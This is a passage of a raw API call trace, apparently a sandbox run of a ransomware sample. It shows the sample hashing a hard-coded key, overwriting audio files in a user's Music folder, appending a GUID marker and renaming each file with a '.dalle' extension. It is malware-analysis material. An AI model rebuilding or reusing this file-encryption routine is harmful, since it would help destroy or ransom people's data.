dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4610) returned 0x3096780 [0120.587] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.587] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x4600, lpOverlapped=0x0) returned 1 [0120.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.587] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4605, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.588] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.588] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.588] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.588] CloseHandle (hObject=0x618) returned 1 [0120.589] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.589] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x3096780 [0120.589] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.589] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XDsCW7KhypcISoT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xdscw7khypcisot.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XDsCW7KhypcISoT.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xdscw7khypcisot.mp3.dalle")) returned 1 [0120.589] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.589] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.590] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.590] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4e7170, ftCreationTime.dwHighDateTime=0x1d4c54b, ftLastAccessTime.dwLowDateTime=0x7943c230, ftLastAccessTime.dwHighDateTime=0x1d4ccf3, ftLastWriteTime.dwLowDateTime=0x7943c230, ftLastWriteTime.dwHighDateTime=0x1d4ccf3, nFileSizeHigh=0x0, nFileSizeLow=0xa3d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xhJyMD-UA.mp3", cAlternateFileName="XHJYMD~1.MP3")) returned 1 [0120.590] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.590] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.590] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.590] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xhJyMD-UA.mp3") returned=".mp3" [0120.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xhJyMD-UA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xhjymd-ua.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.591] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=41943) returned 1 [0120.591] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.593] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa3b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.593] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.594] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.594] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa3d7, lpOverlapped=0x0) returned 1 [0120.595] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.595] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.595] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.595] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.596] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.596] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.596] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.596] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.596] GetLastError () returned 0x0 [0120.596] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.596] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa3e0) returned 0x3096780 [0120.596] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.597] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xa3d2, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xa3d2, lpOverlapped=0x0) returned 1 [0120.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.597] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa3d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.597] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.597] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.597] CloseHandle (hObject=0x618) returned 1 [0120.598] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xhJyMD-UA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xhjymd-ua.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xhJyMD-UA.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xhjymd-ua.mp3.dalle")) returned 1 [0120.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.599] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.600] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x489321a0, ftCreationTime.dwHighDateTime=0x1d4d557, ftLastAccessTime.dwLowDateTime=0x75b2a620, ftLastAccessTime.dwHighDateTime=0x1d4d54c, ftLastWriteTime.dwLowDateTime=0x75b2a620, ftLastWriteTime.dwHighDateTime=0x1d4d54c, nFileSizeHigh=0x0, nFileSizeLow=0x825, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XUycEgivdCqOtq.wav", cAlternateFileName="XUYCEG~1.WAV")) returned 1 [0120.600] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XUycEgivdCqOtq.wav") returned=".wav" [0120.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XUycEgivdCqOtq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xuycegivdcqotq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.600] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=2085) returned 1 [0120.601] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.602] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.602] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.604] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x825, lpOverlapped=0x0) returned 1 [0120.604] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.604] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.604] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.604] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.605] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.605] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.605] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.605] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.605] GetLastError () returned 0x0 [0120.605] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.605] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.605] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x825, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.605] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.605] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.605] CloseHandle (hObject=0x618) returned 1 [0120.606] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XUycEgivdCqOtq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xuycegivdcqotq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XUycEgivdCqOtq.wav.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xuycegivdcqotq.wav.dalle")) returned 1 [0120.607] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 1 [0120.607] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Ym45zlaZS.m4a") returned=".m4a" [0120.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Ym45zlaZS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ym45zlazs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.608] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=3141) returned 1 [0120.608] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.610] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.610] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.611] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc45, lpOverlapped=0x0) returned 1 [0120.611] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.611] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.611] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.611] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.612] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.612] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.612] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.612] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.612] GetLastError () returned 0x0 [0120.612] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.612] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.612] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.612] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.612] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.613] CloseHandle (hObject=0x618) returned 1 [0120.613] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Ym45zlaZS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ym45zlazs.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Ym45zlaZS.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ym45zlazs.m4a.dalle")) returned 1 [0120.614] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 0 [0120.615] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.615] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.615] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.615] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0120.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0120.615] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.615] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.615] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.615] PathFindFileNameW (pszPath="") returned="" [0120.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 0xffffffff [0120.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.615] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0120.616] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap 